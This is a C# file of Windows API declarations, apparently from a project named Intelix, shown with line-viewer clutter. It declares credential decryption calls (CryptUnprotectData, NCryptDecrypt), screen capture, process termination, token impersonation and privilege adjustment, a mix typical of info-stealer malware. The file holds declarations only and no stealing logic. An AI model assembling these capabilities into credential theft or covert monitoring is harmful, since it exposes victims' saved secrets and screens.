195 lines
6.6 KiB
C#
195 lines
6.6 KiB
C#
using System;
|
|||
|
|
using System.Runtime.InteropServices;
|
||
|
|
using System.Text;
|
||
|
|
|
||
|
|
namespace Intelix.Helper;
|
||
|
|
|
||
|
|
public static class NativeMethods
|
||
|
|
{
|
||
|
|
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
|
||
|
|
public struct CryptprotectPromptstruct
|
||
|
|
{
|
||
|
|
public int cbSize;
|
||
|
|
|
||
|
|
public int dwPromptFlags;
|
||
|
|
|
||
|
|
public IntPtr hwndApp;
|
||
|
|
|
||
|
|
public string szPrompt;
|
||
|
|
}
|
||
|
|
|
||
|
|
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
|
||
|
|
public struct DataBlob
|
||
|
|
{
|
||
|
|
public int cbData;
|
||
|
|
|
||
|
|
public IntPtr pbData;
|
||
|
|
}
|
||
|
|
|
||
|
|
public struct LUID
|
||
|
|
{
|
||
|
|
public uint LowPart;
|
||
|
|
|
||
|
|
public int HighPart;
|
||
|
|
}
|
||
|
|
|
||
|
|
public struct TOKEN_PRIVILEGES
|
||
|
|
{
|
||
|
|
public uint PrivilegeCount;
|
||
|
|
|
||
|
|
public LUID Luid;
|
||
|
|
|
||
|
|
public uint Attributes;
|
||
|
|
}
|
||
|
|
|
||
|
|
public struct MEMORYSTATUSEX
|
||
|
|
{
|
||
|
|
public uint dwLength;
|
||
|
|
|
||
|
|
public uint dwMemoryLoad;
|
||
|
|
|
||
|
|
public ulong ullTotalPhys;
|
||
|
|
|
||
|
|
public ulong ullAvailPhys;
|
||
|
|
|
||
|
|
public ulong ullTotalPageFile;
|
||
|
|
|
||
|
|
public ulong ullAvailPageFile;
|
||
|
|
|
||
|
|
public ulong ullTotalVirtual;
|
||
|
|
|
||
|
|
public ulong ullAvailVirtual;
|
||
|
|
|
||
|
|
public ulong ullAvailExtendedVirtual;
|
||
|
|
}
|
||
|
|
|
||
|
|
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
|
||
|
|
public struct DISPLAY_DEVICE
|
||
|
|
{
|
||
|
|
public int cb;
|
||
|
|
|
||
|
|
[MarshalAs(UnmanagedType.ByValTStr, SizeConst = 32)]
|
||
|
|
public string DeviceName;
|
||
|
|
|
||
|
|
[MarshalAs(UnmanagedType.ByValTStr, SizeConst = 128)]
|
||
|
|
public string DeviceString;
|
||
|
|
|
||
|
|
public uint StateFlags;
|
||
|
|
|
||
|
|
[MarshalAs(UnmanagedType.ByValTStr, SizeConst = 128)]
|
||
|
|
public string DeviceID;
|
||
|
|
|
||
|
|
[MarshalAs(UnmanagedType.ByValTStr, SizeConst = 128)]
|
||
|
|
public string DeviceKey;
|
||
|
|
}
|
||
|
|
|
||
|
|
public struct PROCESS_MEMORY_COUNTERS_EX
|
||
|
|
{
|
||
|
|
public uint cb;
|
||
|
|
|
||
|
|
public uint PageFaultCount;
|
||
|
|
|
||
|
|
public UIntPtr PeakWorkingSetSize;
|
||
|
|
|
||
|
|
public UIntPtr WorkingSetSize;
|
||
|
|
|
||
|
|
public UIntPtr QuotaPeakPagedPoolUsage;
|
||
|
|
|
||
|
|
public UIntPtr QuotaPagedPoolUsage;
|
||
|
|
|
||
|
|
public UIntPtr QuotaPeakNonPagedPoolUsage;
|
||
|
|
|
||
|
|
public UIntPtr QuotaNonPagedPoolUsage;
|
||
|
|
|
||
|
|
public UIntPtr PagefileUsage;
|
||
|
|
|
||
|
|
public UIntPtr PeakPagefileUsage;
|
||
|
|
|
||
|
|
public UIntPtr PrivateUsage;
|
||
|
|
}
|
||
|
|
|
||
|
|
[DllImport("psapi.dll", SetLastError = true)]
|
||
|
|
public static extern bool GetProcessMemoryInfo(IntPtr hProcess, out PROCESS_MEMORY_COUNTERS_EX ppsmemCounters, uint cb);
|
||
|
|
|
||
|
|
[DllImport("psapi.dll", SetLastError = true)]
|
||
|
|
public static extern bool EnumProcesses([Out] uint[] lpidProcess, uint cb, out uint lpcbNeeded);
|
||
|
|
|
||
|
|
[DllImport("kernel32.dll", SetLastError = true)]
|
||
|
|
public static extern IntPtr OpenProcess(uint dwDesiredAccess, bool bInheritHandle, uint dwProcessId);
|
||
|
|
|
||
|
|
[DllImport("kernel32.dll", SetLastError = true)]
|
||
|
|
public static extern bool TerminateProcess(IntPtr hProcess, uint uExitCode);
|
||
|
|
|
||
|
|
[DllImport("kernel32.dll", SetLastError = true)]
|
||
|
|
public static extern bool GetVolumeInformation(string lpRootPathName, StringBuilder lpVolumeNameBuffer, int nVolumeNameSize, out uint lpVolumeSerialNumber, out uint lpMaximumComponentLength, out uint lpFileSystemFlags, StringBuilder lpFileSystemNameBuffer, int nFileSystemNameSize);
|
||
|
|
|
||
|
|
[DllImport("kernel32.dll")]
|
||
|
|
public static extern bool GlobalMemoryStatusEx(ref MEMORYSTATUSEX lpBuffer);
|
||
|
|
|
||
|
|
[DllImport("user32.dll", CharSet = CharSet.Unicode)]
|
||
|
|
public static extern bool EnumDisplayDevices(string lpDevice, uint iDevNum, ref DISPLAY_DEVICE lpDisplayDevice, uint dwFlags);
|
||
|
|
|
||
|
|
[DllImport("kernel32.dll", SetLastError = true)]
|
||
|
|
public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId);
|
||
|
|
|
||
|
|
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
|
||
|
|
public static extern bool QueryFullProcessImageName(IntPtr hProcess, int dwFlags, StringBuilder lpExeName, ref int lpdwSize);
|
||
|
|
|
||
|
|
[DllImport("ncrypt.dll", CharSet = CharSet.Unicode)]
|
||
|
|
public static extern int NCryptOpenStorageProvider(out IntPtr phProvider, string pszProviderName, int dwFlags);
|
||
|
|
|
||
|
|
[DllImport("ncrypt.dll", CharSet = CharSet.Unicode)]
|
||
|
|
public static extern int NCryptOpenKey(IntPtr hProvider, out IntPtr phKey, string pszKeyName, int dwLegacyKeySpec, int dwFlags);
|
||
|
|
|
||
|
|
[DllImport("ncrypt.dll", CharSet = CharSet.Unicode)]
|
||
|
|
public static extern int NCryptDecrypt(IntPtr hKey, byte[] pbInput, int cbInput, IntPtr pPaddingInfo, byte[] pbOutput, int cbOutput, out int pcbResult, int dwFlags);
|
||
|
|
|
||
|
|
[DllImport("ncrypt.dll", CharSet = CharSet.Unicode)]
|
||
|
|
public static extern int NCryptFreeObject(IntPtr hObject);
|
||
|
|
|
||
|
|
[DllImport("user32.dll")]
|
||
|
|
public static extern IntPtr GetDesktopWindow();
|
||
|
|
|
||
|
|
[DllImport("user32.dll")]
|
||
|
|
public static extern IntPtr GetWindowDC(IntPtr hWnd);
|
||
|
|
|
||
|
|
[DllImport("user32.dll")]
|
||
|
|
public static extern int ReleaseDC(IntPtr hWnd, IntPtr hDC);
|
||
|
|
|
||
|
|
[DllImport("gdi32.dll")]
|
||
|
|
public static extern bool BitBlt(IntPtr hdcDest, int nXDest, int nYDest, int nWidth, int nHeight, IntPtr hdcSrc, int nXSrc, int nYSrc, int dwRop);
|
||
|
|
|
||
|
|
[DllImport("kernel32.dll", SetLastError = true)]
|
||
|
|
public static extern IntPtr OpenProcess(uint dwDesiredAccess, bool bInheritHandle, int dwProcessId);
|
||
|
|
|
||
|
|
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
|
||
|
|
public static extern bool QueryFullProcessImageName(IntPtr hProcess, int dwFlags, StringBuilder exeName, ref uint lpdwSize);
|
||
|
|
|
||
|
|
[DllImport("kernel32.dll", SetLastError = true)]
|
||
|
|
public static extern bool CloseHandle(IntPtr hObject);
|
||
|
|
|
||
|
|
[DllImport("crypt32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
|
||
|
|
public static extern bool CryptUnprotectData(ref DataBlob pDataIn, ref string ppszDataDescr, ref DataBlob pOptionalEntropy, IntPtr pvReserved, ref CryptprotectPromptstruct pPromptStruct, int dwFlags, ref DataBlob pDataOut);
|
||
|
|
|
||
|
|
[DllImport("advapi32.dll", SetLastError = true)]
|
||
|
|
public static extern bool OpenProcessToken(IntPtr ProcessHandle, uint DesiredAccess, out IntPtr TokenHandle);
|
||
|
|
|
||
|
|
[DllImport("advapi32.dll", SetLastError = true)]
|
||
|
|
public static extern bool DuplicateTokenEx(IntPtr hExistingToken, uint dwDesiredAccess, IntPtr lpTokenAttributes, uint ImpersonationLevel, uint TokenType, out IntPtr phNewToken);
|
||
|
|
|
||
|
|
[DllImport("advapi32.dll", SetLastError = true)]
|
||
|
|
public static extern bool ImpersonateLoggedOnUser(IntPtr hToken);
|
||
|
|
|
||
|
|
[DllImport("advapi32.dll", SetLastError = true)]
|
||
|
|
public static extern bool RevertToSelf();
|
||
|
|
|
||
|
|
[DllImport("advapi32.dll", CharSet = CharSet.Auto, SetLastError = true)]
|
||
|
|
public static extern bool LookupPrivilegeValue(string lpSystemName, string lpName, ref LUID lpLuid);
|
||
|
|
|
||
|
|
[DllImport("advapi32.dll", SetLastError = true)]
|
||
|
|
public static extern bool AdjustTokenPrivileges(IntPtr TokenHandle, bool DisableAllPrivileges, ref TOKEN_PRIVILEGES NewState, uint BufferLength, IntPtr PreviousState, IntPtr ReturnLength);
|
||
|
|
|
||
|
|
[DllImport("kernel32.dll", SetLastError = true)]
|
||
|
|
public static extern IntPtr GetCurrentProcess();
|
||
|
|
}
|